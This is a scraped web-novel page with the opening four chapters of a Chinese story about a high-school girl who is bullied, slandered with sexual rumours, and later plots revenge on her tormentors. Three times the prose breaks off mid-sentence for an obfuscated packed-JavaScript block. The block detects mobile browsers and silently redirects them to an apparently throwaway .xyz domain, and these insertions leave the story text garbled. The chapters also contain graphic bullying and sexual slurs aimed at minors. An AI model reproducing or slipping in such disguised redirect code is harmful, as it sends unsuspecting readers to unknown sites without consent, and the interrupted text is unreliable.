《听说你曾深爱我》 1. 第01次听说 听说你曾深爱我 晋江/虚度白昼 2025-06-15 · · Chapter01 “下雨了。” 施南笙降下车窗,疾风裹着细雨呼啸而入,霎时吹乱了她海藻般的长发。 正在开车的周正午投来一瞥,目光在她微微带笑的侧脸上定格两秒,不禁有种会心一击的感觉——认识两个多月了,这还是他第一次在施南笙脸上看见笑容,虽然浅淡得像一抹稍纵即逝的涟漪。 “你喜欢下雨?” “不,我喜欢下雪。” “我看过最美的雪景在小樽,就是拍《情书》的那个地方。”周正午又偷瞄施南笙一眼,她今晚精心打扮过,实在美得惊心动魄,“你什么时候有空?我带你去。” 施南笙默不作声,仿佛没听见他的话。 周正午作为一个资深花花公子,还从来没被哪个女人如此漠然对待过,他感到些许热脸贴冷屁-股的尴尬,还有一点点恼羞成怒。 他就纳了闷了,她不过就是个卖力气的按摩女,要钱没钱要势没势,怎么会比他认识的那些千金小姐还要冷艳高贵?她究竟哪儿来的底气? 但该说不说,她身上这股子不把任何人放在眼里的傲劲儿是真的勾人,否则他也不会死乞白赖地缠着她不放——男的都是贱骨头,他也不能免俗。 过了一会儿,周正午没话找话:“雨下大了。” 施南笙依旧不理他,但把车窗升了上去。 车厢重新变成了密闭空间,被风吹散的体香也重新凝聚,丝丝缕缕,勾引着周正午的视线,再一次飘到施南笙身上。 她美得像《西游记》里的女妖,哪怕只是看着她,他就有点心-痒-难-耐、欲-火-焚-身的感觉了。 操,真想不管三七二十一直接开到酒店去。 可惜他使尽浑身解数做了两个多月的“缠郎”,却还没把这个“烈女”追到手,这简直是他泡妞生涯的滑铁卢,如果让他那帮狐朋狗友知道了得笑死他。 施南笙一向对他爱答不理,今儿个愿意陪他参加朋友的生日派对,已经是相识以来最赏脸的一回了。但这脸也不全是赏给他的,因为今天过生日这哥们儿是最近两三年很红的男演员,即使施南笙不是追星女孩,应当也很乐于和明星近距离接触。 办派对的地方在偏远郊区,开车过去将近两个小时,路途遥远又下这么大雨,看来今晚只能留宿了——天时地利都有了,要是今晚还不能把施南笙成功拿下,他就可以去死一死了! 从日暮开到天黑,抵达度假村时已经八点多了。 车停在一座独栋别墅前,门前的侍应生很有眼力见地过来帮忙撑伞,把周正午和施南笙送到门廊,又替他们摁响门铃。 入户门从里面推开,欢声笑语扑面而来。 施南笙主动挽上周正午的手臂,随他入内,刹那间,十几道目光投射而来,主要聚焦在施南笙身上。 这是她第一次在周正午的社交圈露面,一个全然陌生的外来者,又顶着一张艳压群芳的脸,自然吸睛。 被形-形-色-色的目光上下打量的同时,施南笙的视线也从那些俊男靓女的脸上巡睃而过,最终定在了一张既熟悉又陌生的脸上,四目相对的瞬间,施南笙微不可察地怔了怔——久别重逢,她以为路星川会仇视她,憎恶她,然而并没有,他的眼里空空荡荡,无波无澜,甚至连一丝惊讶都没有,仿佛已将她彻底遗忘。 周正午带着施南笙,径直来到这场派对的主角面前,笑着说:“哥们儿,生日快乐,礼物稍后会送到你家。” 路星川目不斜视,似笑非笑的样子:“谢谢。” 他旁边的短发女人端量着施南笙,话却是对着周正午说的:“周公子,这位美女是?” 周正午还没来得及答话,骤然听见一道饱含惊讶的女声:“施南笙?!” 周正午循声看去,看到了站在路星川斜后方的江以桢,她正横眉怒目地瞪着他的女伴,表情像是见了鬼。 周正午转而看向施南笙:“你们认识?” 施南笙置若罔闻,眼看着江以桢怒冲冲地来到自己面前,才淡然开口:“好久不见。” 江以桢看了看路星川,而后毫不客气地对着施南笙发号施令:“你跟我来,我有话跟你说。” 江以桢说完转身就走,根本不给别人拒绝的机会。 施南笙把手从周正午的臂弯里抽出来,举步跟上。 周正午一头雾水:“我操,这什么情况?” 路星川漠漠地扫了一眼施南笙的背影,举起杯子喝酒。 施南笙跟着江以桢经过一条短廊,进了一个房间,透过落地窗,可以看到别墅的庭院,花木扶疏,大雨滂沱。 她期待从路星川脸上看到的表情此刻正在江以桢脸上完美呈现,江以桢毫不掩饰对她的仇恨与厌憎,冷声质问:“你怎么会出现在这里?” 施南笙一改之前总是装聋作哑的态度,微笑着回答:“我陪周正午来参加他朋友的生日派对。” 江以桢一脸鄙夷:“像你这种层次的人,是怎么勾搭上周正午的?” 施南笙不答反问:“我是哪种层次的人?” 江以桢当然不会错过这个羞-辱她的机会,一边傲慢地蔑视她,一边用满是嘲弄的语气说:“底层贱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805424|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民。” “我是贱民,那你是什么?”施南笙嗤笑一声,“高贵的208万?” “我就是比你高贵,论出身论学历论工作,我哪样不甩你十万八千里?”江以桢振振有词,“你除了这张狐媚脸,还有什么拿得出手的?你这辈子唯一的出路,也就是出卖色相,以色事人——喔,我明白了,你就是靠这张脸勾上周正午的吧?他也是不挑,什么破烂货都下得去嘴。他要是知道你在高中干的那些丑事,恐怕得恶心的把隔夜饭都吐出来。不过依我看,周正午根本没把你当回事儿,否则他也不会让你穿着一身地摊货出来抛头露面,还不够丢人现眼的。” 施南笙身上穿着一条藕荷色针织长裙,脚上踩着一双米白色高跟玛丽珍鞋,手里拎着一只菠菜绿的迷你水桶包,都是从淘宝上买的杂牌货,加起来恐怕还没江以桢头上戴的那枚Miu Miu发卡值钱。 她从包里掏出手机,慢条斯理地说:“我猜到会在路星川的生日派对上见到你,也猜到你会对我恶语相向,所以在走进这座别墅之前,我就打开了录音——如果我把你刚才这番辱女言论发到网上,你觉得那些追星女孩会不会撕烂你?” 江以桢勃然变色,冲过来要抢手机,施南笙轻巧躲开,莞尔一笑:“我骗你的。” “你——”脏话已经到了嘴边,又被江以桢强行咽回去,她分不清施南笙到底哪句话是真哪句话是假。 “江大小姐,这么多年过去,你怎么一点长进都没有,”施南笙贴脸嘲讽,“还是这么蠢。” 江以桢火冒三丈,却不敢再大放厥词,咬牙切齿地说:“我警告你,从今以后别再出现在我和路星川面前,否则我会把你过去那些丑事统统告诉周正午,你一点好处都别想捞到。” “你威胁我?你以为我会在乎吗?”施南笙坦然自若,“实话告诉你,周正午只是我的垫脚石,我就是冲着路星川来的。” “你敢!”江以桢怒不可遏,“路星川是我的男朋友!” “那又怎样?”施南笙笑着说,“结婚可以离婚,恋爱也可以分手,没有谁永远属于谁。你以前就是我的手下败将,现在你一样抢不过我。” 江以桢气昏了头,又开始口不择言:“你跟你那个做妓-女的妈一样,也是个不要脸的臭-婊-子——” “啪!” 一记响亮的耳光,结结实实地甩在江以桢脸上,打断了她的污言秽语。 “你敢打我?!”江以桢捂着火辣辣的脸颊,不敢置信。 “再敢说一个脏字,我就撕烂你的嘴。”施南笙面若冰霜,语声森寒,“江以桢,我不是从前那个任你欺凌的施南笙了。你欠我的债,是时候偿还了。” 2. 第02次听说 Chapter02 “啪!” 又是一记响亮的耳光,狠狠地扇在施南笙脸上,她两侧脸颊已经又红又肿,嘴角渗出血迹,口腔里弥漫着血腥味。 张梓涵和孟雨薇一左一右把她按在墙上,丁乔负责动手,而江以桢作为这几个小太妹的领导者,只需要举着手机,把施南笙被欺凌的过程记录下来。 “呸!” 施南笙吐出一口带血的唾沫,差点吐到江以桢的鞋上。 “你故意的吧?”丁乔立刻替江以桢发声,“知道这双鞋多少钱吗?你卖十次都不一定赔得起。” “你卖一次能挣几块钱啊?”孟雨薇嬉皮笑脸地问,“一百?两百?” “听说篮球队那帮体育生都是你的忠实客户,你这小身板受得了吗?”张梓涵接茬,“你胸这么大,是不是被他们给揉出来的?” “我好心提醒你啊,那啥的时候千万别忘了带套,要是染上什么脏病就不好了。”孟雨薇说,“而且你要是怀孕了,事情传扬出去,整个十三中都会沦为笑柄,我们这些洁身自好的好学生可不想被你拖累。” “跟你说话呢,你聋了还是哑了?”丁乔用力踹了施南笙一脚,“给点反应行不行?” 施南笙闷哼一声,咬咬牙,忍痛开口:“我听说,有些女人一旦生了儿子,就会变成精神男人,你们离那一步还很遥远,就已经有过之而无不及了。” 孟雨薇没太听明白:“掌公主,她什么意思?” “掌公主”是丁乔的绰号,因为她非常擅长扇别人巴掌。丁乔嘲弄一笑,故意歪曲:“意思就是,我们几个都不如她有女人味。” “笑死,谁稀罕啊。”孟雨薇嗤之以鼻,“说好听点是女人味,说难听点就是风骚,我们确实都没你骚,你可是按摩女的女儿,天生就会勾引男人,要不怎么人送外号‘公交车’呢。” “怼得漂亮!”张梓涵冲她竖起大拇指,“不愧是我薇姐。” “行了,甭在这儿打嘴炮了。”江以桢一发话,其他人立马就消停了。她伸手推开丁乔,站到施南笙面前,摆出一副高高在上的姿态,用看垃圾的眼神看着施南笙,“知道你做错了什么吗?” 施南笙直视着这个连发丝都透着精致的漂亮女孩,平静地说:“我不知道。” 江以桢说:“就算你把全校男生都睡遍了,都跟我没一毛钱关系,但有一个人,我不允许你和他产生任何交集。” 施南笙问:“谁?” 江以桢说:“路星川。” 路星川,施南笙当然认识。 她和路星川是同班同学,而且巧合的是,他们的生日都是2001年6月8号。 虽然如此,但她和路星川完全不熟——她总是刻意和异性保持距离,包括那些男老师,因为她被造黄谣造怕了,从初中开始,那些不堪入耳的流言蜚语就追随着她,犹如附骨之疽——同班三年,她和路星川之间没有发生过任何令她印象深刻的事,她对路星川的印象就只是“那个和我同年同月同日生的男同学”而已。 事实上,不只路星川,她和班里所有同学都不熟,她习惯了做一座孤岛,永远游离在集体之外,形单影只,独来独往,这是她保护自己的方式。 “我跟他只是同班同学,”施南笙如实以告,“除此之外没有任何交集。” 葱白的指尖在屏幕上点了几下,江以桢把手机举到施南笙面前——是表白墙上发的一张偷拍照,照片做了背景虚化,凸显了两个人物,一个是坐在教室最后一排靠窗位置的路星川,另一个是窗外走廊上扶着围栏晒太阳的施南笙,一个在暗,另一个在明,且都只露了半张侧脸。 照片下面还有几行咆哮体:校草在偷看校花!!!!!氛围感拉满!!!!!我严重怀疑校草暗恋校花!!!!!顶着这张无敌帅脸搞暗恋也太犯规了吧啊啊啊啊啊!!!!! 路星川是十三中公认的校草,而施南笙只是1/2校花,因为有人拥护江以桢,有人支持施南笙,三年来一直没有定论。 “一张拗角度的偷拍照,几句看图说话的胡言乱语,这就是你用来给我定罪的凭证?”施南笙的视线从手机屏幕移到江以桢脸上,“你不觉得太可笑了吗?” “谁说我给你定罪了?我只是想给你一个小小的警告。”江以桢勾起一个鄙薄的浅笑,“我知道,像你这种原生家庭不幸的人,既缺钱又缺爱,别人稍微给你点儿好脸色,你就恨不得对别人掏心掏肺。就像无家可归的流浪狗,只要有人扔给它一口吃的,它就会把这个人当成救世主,缠着人家不放。” “我不是你说的这种人。”施南笙没有被刺痛,澹然否认。 “不管你是不是,我只是想让你知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805425|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,”江以桢正色,“路星川是我的,你离他越远越好,否则——” “好,”施南笙没让她把狠话说完,“我会的。” “算你识趣。”江以桢使个眼色,“放开她吧。” 张梓涵和孟雨薇放开施南笙,施南笙活动活动手腕,问江以桢:“我可以走了吗?” 江以桢从裤子口袋里抽出一只蓝色口罩,递给施南笙:“把你的脸遮住,别让老师看见你的伤。虽然被发现也无所谓,但多一事不如少一事嘛。” 施南笙接过口罩,只听江以桢慢悠悠地说:“我最后再警告你一次,别招惹路星川,否则我会找人砸烂你妈的按摩店。我查过了,你从小就没有爸爸,你妈靠着做按摩把你养大,要是没了这份收入,你们的日子应该会很难过吧?恐怕你连大学都上不起了吧?” 施南笙对江以桢的家庭背景也有所耳闻,她知道,有钱能使鬼推磨,江以桢可以轻而易举地摧毁她本就摇摇欲坠的生活,她根本没有资格和江以桢对抗,委曲求全是她唯一的选择。 “你放心,我对路星川一丁点兴趣都没有。”说完,施南笙兀自走到洗手台前,对着镜子梳理被扯乱的头发。 江以桢志得意满,带着她的三个小喽啰走了。 施南笙倏地停下所有动作,她凝视着镜子里狼狈不堪的自己,视线蓦然变得模糊,她闭上眼,仰起头,努力把眼泪憋回去,然后扎好头发,戴上口罩,离开了卫生间。 施南笙从后门走进三年二班的教室,路星川的座位就在门口,他正趴在课桌上午休,用一张空白卷子盖住了脸。 目光从路星川过分宽阔的脊背上一扫而过,施南笙径直走向自己的位置。 下午五点半,放学时间到,班长去教师办公室把收上去的手机拿回来,放在讲桌上,让同学们自取。 等人走得差不多了,施南笙才背起书包,走去讲台,拿上手机。在走出教室之前,她鬼使神差地往后门看了一眼。路星川还在座位上坐着,他偏头看着窗外,和那张照片上的姿态几乎一模一样,像是从某部青春电影里摘出来的一帧画面。 施南笙收回目光,开机,插上耳机,用音乐把自己同外界隔绝起来。 出了学校,施南笙拐进校门口常去的那家文具店,在货架间逡巡片刻,选中了一把形似圆珠笔的美工刀,去找老板结账。 3. 第03次听说 Chapter03 从19路车下来,施南笙摘下耳机,走进街口那家便利店,跟坐在收银台里面刷短视频的老板娘打招呼:“花姐,我来了。” 花枝随口问:“吃饭了吗?” 施南笙说:“吃过了。” 买完美工刀,她又在校门口的流动摊位上买了个杂粮煎饼,利用等车时间填饱肚子。 走进狭小的储物间,套上一件绿色马甲,就算换好工服了。 去收银台和花枝交接,花枝好奇:“这么热的天你戴口罩干嘛?” “有点感冒。”施南笙刻意咳嗽两声。 “眼看要高考了,可不敢生病,吃药了吗?” “吃过了。” “记得多喝热水。” “好。” 又说了几句有的没的,花枝拎包走人。 施南笙从高一就开始在这个不足二十平米的小便利店兼职了,周一到周五,下午六点到零点,工作六个小时,日薪一百五,月赚三千,这笔钱已经足够她养活自己。 至于周六日,她得在自家按摩店帮忙,因为周末店里生意最好,只靠她妈和梅姐两个人根本忙不过来。 好在她脑子不笨,哪怕半工半读,成绩也还凑合,大小考试从未掉出过年级前三十,每年都能拿到一笔奖学金。 忙到九点多,客流高峰过去,施南笙总算可以静下心来做会儿卷子。自从上了高三,每天都有做不完的卷子,好在这样的日子马上就要到头了。 正在解一道立体几何大题,听见门铃响,她站起来,不高不低地喊了声“欢迎光临”。 一个又高又壮的男生走进来,直奔收银台:“来包利群。” 施南笙问:“硬红还是软红?” 男生想了想:“软红吧。” “22。”施南笙转身去拿烟。 付完账,男生却不急着走,他有些贼眉鼠眼地打量着施南笙露在口罩外的半张脸,笑着说:“我刚搬到这附近,来这家店买过好几次东西了,你对我有印象吗?” 施南笙不想搭理,可又不能得罪顾客,只好耐着性子回答:“有一点。” 男生说:“我叫谢垚,三个土叠起来那个垚,是十三中篮球队的,跟你同校,我知道你叫施南笙。” 施南笙垂眼看着卷子,敷衍地“嗯”了一声。 谢垚舔了舔干涩的嘴唇,吞吞吐吐地说:“我听说你……你是做那个的,我想……想跟你做个交易。” 施南笙抬眼,不露声色地看着对方:“我是做什么的?” 谢垚目光躲闪,语调含混地吐出两个字:“援-交。” 施南笙平静地问:“你听谁说的?” 谢垚说:“队友。” 施南笙用肯定的语气问:“是孟寒声吧?” 谢垚没作声,但他的表情出卖了他。 施南笙早就猜到了。 那些恶心的谣言,就是从她前段时间拒绝孟寒声的追求之后,开始在校内大肆流传的。 她还知道,今天中午帮着江以桢欺负她的三个小太妹里,嘴最脏的那个孟雨薇,是孟寒声的妹妹,她见过孟寒声骑摩托车载着孟雨薇一起上下学。 施南笙拿起手机:“我们加个微信吧。” 谢垚原本只是试一试,听她这么说,顿时大喜过望:“好!” 加完微信,谢垚伸手从旁边的货架上拿了盒杜蕾斯001,放在施南笙面前,施南笙直接拿起来扫码:“129块9。” 一声“卧槽”险些脱口而出,谢垚没想到这玩意儿这么贵,为了面子,他只能硬着头皮打开付款码。 收完钱,施南笙问:“要袋子吗?” “不用了。”谢垚把黑色小盒揣进口袋里,“你什么时候——” 再次响起的门铃打断了他的问话,施南笙说:“微信说吧。” 谢垚应了声“好”,转身走了。 等新来的客人买完东西离开,施南笙拿起手机,给谢垚发微信。 Murr-ma:我周日晚上有空。 三号狂徒:好 三号狂徒:你想约在哪? Murr-ma:你来定。 三号狂徒:[位置]Coldplay酷玩·电竞酒店 三号狂徒:这里离你打工的地方不远,你觉得行吗? Murr-ma:未成年也能开房吗? 三号狂徒:按规定是不允许的,但我有个哥们儿在里面当网管,不仅能帮我开房,还有折扣,双人房只要一百多[呲牙] Murr-ma:那就这里吧。 Murr-ma:你手机号多少? 三号狂徒:18805172333 Murr-ma:周日见。 三号狂徒:等等 三号狂徒:我还有个问题 三号狂徒:你怎么收费? Murr-ma:孟寒声没告诉你吗? 三号狂徒:他说了,我忘了 Murr-ma:到时候再说吧。 三号狂徒:好,周日见[坏笑] 聊天到此为止,施南笙进入谢垚的朋友圈,保存了几张照片,而后退出微信,点开应用商店,搜索“同性交友”,下载了排在第一个的蓝色软件,注册账号,填写资料,用刚保存的一张大头照做头像。 刚把账号弄好,就有人发来消息。 很会射的丘比特:头像是你? 十三中谢垚:嗯。 很会射的丘比特:还有别的照片吗? 十三中谢垚:[图片] 十三中谢垚:[图片] 十三中谢垚:[图片] 很会射的丘比特:是我喜欢的类型 很会射的丘比特:[点击查看] 很会射的丘比特:18cm大捷豹,用过的都说好 很会射的丘比特:约吗? 十三中谢垚:我周日晚上有空。 很会射的丘比特:去你家还是…… 十三中谢垚:[位置]Coldplay酷玩·电竞酒店 十三中谢垚:晚上九点,我开好房间等你。 很会射的丘比特:好 十三中谢垚:我去忙了,等我消息。 很会射的丘比特:[OK] …… 过了零点,上夜班的男生才姗姗来迟,施南笙没说什么,做完交接就脫衣服走人。 便利店和她家的按摩店在一条街上,一个在街头,一个在街尾,走过去大概需要十分钟。 夜深人静,沿街的店铺早就打烊了,苍白的路灯照着空荡荡的街道,偶有车辆飞驰而过。 施南笙踽踽独行,眼观六路耳听八方,手里还攥着一支多功能防狼神器。 到了“玉姐按摩”门口,施南笙先把防狼神器塞进书包,才推门进去。 尹玉琢正坐在柜台后面算账,听见开门声,抬头看了一眼,又低下头,边敲计算器边问:“接班的人又迟到了?” “嗯。”施南笙径直往洗手间的方向走。 “你得跟花枝反应啊,让她管管。” “嗯。” “你就知道嗯!要我说你赶紧辞职算了,我又不是养不起你,而且再过十来天就高考了,好好学习才是你的头等大事。” 施南笙没应声,推门进了洗手间,摘下口罩,对着镜子照了照,脸还是肿得很明显,就把口罩戴了回去。 等施南笙从洗手间出来,尹玉琢也算完账了,闭店回家。 施南笙坐在电动车后头,搂着尹玉琢的腰,脸贴着她的背,绷了一天的心弦终于放松下来,感到安心的同时亦被疲惫席卷。 “你戴口罩干嘛?”尹玉琢忽问,“不嫌热啊。” “感冒了。”施南笙闭着眼睛回答。 “活该!”尹玉琢陡然大声,“让你别开空调你不听!这才五月底,哪就热到需要开空调了?” 施南笙不吱声,尹玉琢又说:“我刚才说的话你听见没有?” “听见了,”施南笙说,“下星期就就辞职。” “你就敷衍我吧。”尹玉琢没好气。 这样有条不紊的生活施南笙过了三年,已经形成了很强的秩序感,突然改变她反而会不适应。 而且在学校高强度地学习了一个白天,大脑已经很累了,晚上在便利店做点体力劳动其实是种很好的放松。 就算跟尹玉琢解释她也听不明白,施南笙索性就不说了。 …… 睡前抹了药膏,一觉醒来,脸已经消肿了,施南笙不用再遮遮掩掩。 快速吃完早饭,她背上书包出门:“我去上学了。” “等等!”尹玉琢拎着个塑料袋追到门口,拉开书包拉链,把塑料袋塞进去。 “什么呀?”施南笙扭头往后看。 “三包板蓝根,你今天给我喝完它。”尹玉琢又把拉链拉好,“还有一盒布洛芬,要是发烧了就吃一粒。” “知道了。”施南笙换好鞋,开门走了。 走到凤仙街东口,在站台等了两首歌的时间,终于等来一辆挤成“沙丁鱼罐头”的7路公交车,施南笙使劲挤上去,成了“沙丁鱼”的一员。 司机嚷嚷着让大家往后走,大部分乘客都不为所动,施南笙艰难地挤呀挤,挤到车厢的后半截,刚站定,忽地一怔——她面前的座位上坐着的,正是导致她昨天被欺负的那个“蓝颜祸水”,十三中校草路星川。 看见路星川的嘴唇动了动,施南笙摘下一只耳机:“你说什么?” 路星川直接站起来:“你坐吧。” 施南笙急忙拒绝:“我不坐。” 但路星川还是执意把座位让了出来,他没想到施南笙说不坐就不坐,让别人捡了漏。 施南笙觑了眼身旁比她高出一头的男生:“之前没在这趟公交上见过你。” 路星川也垂眸看了看她:“我骑了好几年的自行车被偷了,只能来挤公交。” 施南笙“喔”了一声,把耳机戴回去,再也没给过路星川一个眼神。 约莫半小时后,施南笙和路星川一前一后地下了公交车,一前一后地走进校门,一前一后地踏入教室。 施南笙刚落座,就收到一条微信提醒,动动手指点开,发现是好友申请,备注里写的是:我是孟寒声 而下方的“来源”显示:对方通过“三号狂徒”分享的名片添加 施南笙唇边泛起一点冷笑。 她就知道,昨晚的事,谢垚肯定会和孟寒声分享。 而且她相信,等到周日晚上,孟寒声必定会和谢垚一起出现在那家电竞酒店,他们甚至可能会搞偷拍或者现场直播——她向来不惮以最坏的恶意来揣测这些满脑子龌龊思想的猥琐男——不知道别的学校什么情况,反正十三中的猥琐男含量高得惊人。 删掉孟寒声的好友申请,关机,把手机放进讲桌上的收纳盒里,施南笙拿着保温杯出了教室,去厕所旁边的直饮水机接水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805426|175122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>接完水回来,从书包里掏出出门前尹玉琢塞给她的塑料袋,解开,发现里面有张小纸条,就拿出来扫了两眼。 是按摩店对面那家药房的购物小票,应该没什么用了,她正准备撕掉,又猛地呆住,目光凝在“早早孕(HCG)测试笔”这几个小字上,半晌才回过神来,将小票对折几下,收进了书包的暗袋里。 第五节课上完,午饭时间到了。 施南笙在教室待到12点半,拿上钱包出去。 她没去食堂,而是出了学校,绕了两条街,找到一家老破小手机维修店,花50块买了一张无需实名登记的电话卡。 傍晚放学后,施南笙在校门口坐上19路公交车,在凤仙街西口下车,去便利店接班,零点下班,到按摩店的时候,尹玉琢和梅姐正在打扫卫生。 梅姐名叫梅小月,从这家按摩店刚开起来没多久就来了,不离不弃地跟着尹玉琢干了十几年,两个人早已情同姐妹。 等梅姐忙完先走了,施南笙才拿出那张小票,递给尹玉琢,开门见山地问:“你怀孕了?” 尹玉琢微微一愣,接过小票,揉巴两下丢进垃圾桶里:“回家再说。” 她没有立刻否认,施南笙心里就有了答案。 回到家,母女俩相对而坐,尹玉琢点了一支烟,吞云吐雾。 施南笙轻轻蹙眉:“怀孕是不是不能抽烟吗?” 尹玉琢不以为然:“老娘想抽就抽。” 施南笙心绪平和,不慌不忙地说:“我看小票上的时间是5月25号,你做完检测之后去医院复查了吗?” “去了。” “医生怎么说?” “怀孕六周,胎儿正常。” “你男朋友知道你怀孕的事吗?” “他不用知道,”尹玉琢弹弹烟灰,“等我腾出空来就去把孩子打掉,就当它没来过。” 施南笙审视着尹玉琢的表情,想知道她说的是不是真心话,可她的脸笼在一团轻烟薄雾里,看不真切。 静了须臾,施南笙转而问:“他对你好吗?” 尹玉琢点了点头:“还行吧。” 尹玉琢最近新交的这个男朋友,施南笙只匆匆见过两面,一次在店里,一次在家里。 尹玉琢让她管那个男人叫“qiū chéng”叔叔,她不清楚具体是哪两个字,也懒得问,主观认定他姓邱名成。 在尹玉琢这些年交往过的所有男人里,施南笙对邱成的印象是最好的,因为他不矮不胖不秃头,只是这样就已经打败全国99%的中年男人,更何况他的长相几乎可以用“英俊”来形容,和某个号称“叔圈天菜”的男演员略有几分相似——无论男女,都是视觉动物,长得好看的人就是可以轻而易举地赢得他人的好感。 最重要的是,和邱成在一起后,尹玉琢肉眼可见地快乐了很多,所以施南笙对邱成其实是怀着一点感激的,感激他能给尹玉琢带来快乐,没有人比她更希望尹玉琢能活得快乐。 “你爱他吗?”施南笙又问。 “什么爱不爱的,只有小年轻才成天把情呀爱呀的挂在嘴边,”尹玉琢自嘲一笑,“我这个半老徐娘早就爱无能了,男人对我来说就只是排遣寂寞的工具而已。” 施南笙实在分不清她说的到底是真话还是假话,斟酌片刻,真心实意地说:“等九月份我去外地上大学,家里就剩你一个,你肯定会觉得很寂寞。所以你要是想把这个孩子生下来,或者想和那个男人结婚,我都支持……” “哎呀,你一个十七八岁的小女孩怎么比我这个老阿姨还啰嗦,咱俩到底谁是妈妈谁是女儿?”尹玉琢一脸不耐烦地打断她,“你管好你自己就行了,我的事用不着你操心,我自己会看着办的,行吗?时候不早了,你赶紧洗洗睡吧。” 尹玉琢单方面终止了这场谈话,起身回房了。 施南笙傻坐一会儿,去厨房热了杯牛奶,喝完才去洗漱。 …… 虽然是周六,但生物钟不允许施南笙赖床,六点半准时醒来,开始即将年满十八周岁高能量女生的一天。 先去厨房,用高压锅把粥熬上,然后回到房间,读一小时英语,再回到厨房,煎饼炒蛋。 等她把热腾腾的早餐端上桌,尹玉琢刚好打着哈欠从房间出来,时间掐得刚刚好。 吃完早饭,一起去店里。 尹玉琢和梅小月负责按摩,施南笙负责端茶送水、打扫卫生以及收钱。 午后,淅淅沥沥下起小雨。 施南笙坐在柜台后头看了会儿雨,从钱包里找出昨天中午新买的那张电话卡,装进手机,然后打给谢垚。第一遍没人接,再打一遍,铃声响了很久才接通。 “喂?”谢垚老大不耐烦。 “是我。” “你谁呀?” “施南笙。” “喔,不好意思,”谢垚立马换了副态度,“我不知道这是你的号码,还以为骚扰电话呢。” “没关系,”施南笙说,“你在干嘛?” “在网咖打游戏。” “一个人吗?” “跟几个朋友。” “要不要见个面?” “现在吗?” “怎么,你不方便?” “方便方便,你说在哪儿见?” “永乐东街那家肯德基。” “好,我打完这局就过去。” 结束通话,施南笙去按摩房跟尹玉琢说一声,就打着一把小红伞走进了和风细雨中。 4. 第04次听说 Chapter04 施南笙点了一杯雪顶咖啡和两个黄桃蛋挞,找了个靠窗的位置坐下,面对着窗外的濛濛烟雨。 相比晴天,她更喜欢雨雪天气,兴许是那种阴郁潮湿的感觉跟她的性格很像——虽然她长了一张明媚的脸,但她好像从来不知道“明媚”具体是种什么样的感觉。 吃完两个蛋挞,喝掉半杯咖啡,谢垚终于出现了。 他没打伞,脸上湿漉漉的,施南笙递给他两张纸巾:“擦擦脸吧。” “你等多久了?”谢垚问。 “没多久。” “我还没吃午饭,肚子饿得咕咕叫,先去点个餐。” 几分钟后,谢垚端着两个汉堡套餐回来,坐在了施南笙旁边。 “我手机快没电了,”施南笙把手机塞进包里,“可以借你手机打个电话吗?” “当然可以。”谢垚掏出手机递给她,“密码是六个一。” “店里太吵了,”施南笙站起来,“我出去打。” 施南笙走到外面,确保谢垚看不到她,这才解锁手机,点开微信,按照事先从网上掌握的方法,先删除她和谢垚的聊天记录,再清除缓存和云端备份,这样数据就无法恢复了。 又点进相册检查有无聊天截图,最后关闭后台应用,施南笙摁了锁屏,返回店里,把手机还给谢垚,一刻也不愿多留:“我有事,要先走了。” “啊?”谢垚一脸懵逼。 “对了,我这个月的流量用完了,你给我发微信我可能收不到,”说着,施南笙俯身靠近他,稍稍压低声音,“等你明天晚上开好房间,打电话告诉我就行。” “喔,”谢垚被少女的体香所迷,呆呆地点点头,“好。” “明天见。”施南笙冲他微微一笑,一手端起餐盘,一手拿上雨伞,头也不回地走了。 回到按摩店时,风停雨住,天色昏朦。 店门敞开着,柜台却没人,施南笙走到按摩房门口,尹玉琢和梅小月的交谈声从虚掩的房门飘出来,施南笙驻足静听。 “……你还说我嘴上没个把门的,到头来却是你自己露了马脚,你说说你。”梅小月一副恨铁不成钢的口吻。 “都怪我粗心大意,”尹玉琢唉声叹气,“你说我留着那张小票干嘛呢?又没人给我报销。” “反正迟早得让她知道,她自己发现了,倒省得你主动坦白了。”梅小月说,“笙笙啥反应?没跟你发火吧?” “你也是看着她长大的,什么时候见她发过火?”尹玉琢又叹了口气,“我这个女儿啊,打小就内敛,喜怒哀乐轻易不外露,我曾经怀疑她有那个……情感缺乏症还是淡漠症来着?我还带她去看过心理医生,可医生说她一切正常。我倒情愿她跟我大吵大闹呢,总比什么都憋在心里强,憋久了会憋出毛病的。” “那她到底是什么态度?”梅小月问。 “她说,等她去外地上大学了,剩下我孤零零一个人,肯定会很寂寞。”尹玉琢复述施南笙昨晚说过的话,“所以她支持我把这个孩子生下来,也支持我和邱成结婚。” “笙笙是真知道心疼你,”梅小月感慨,“我家那丫头要是有笙笙一半懂事,我做梦都要笑醒。” 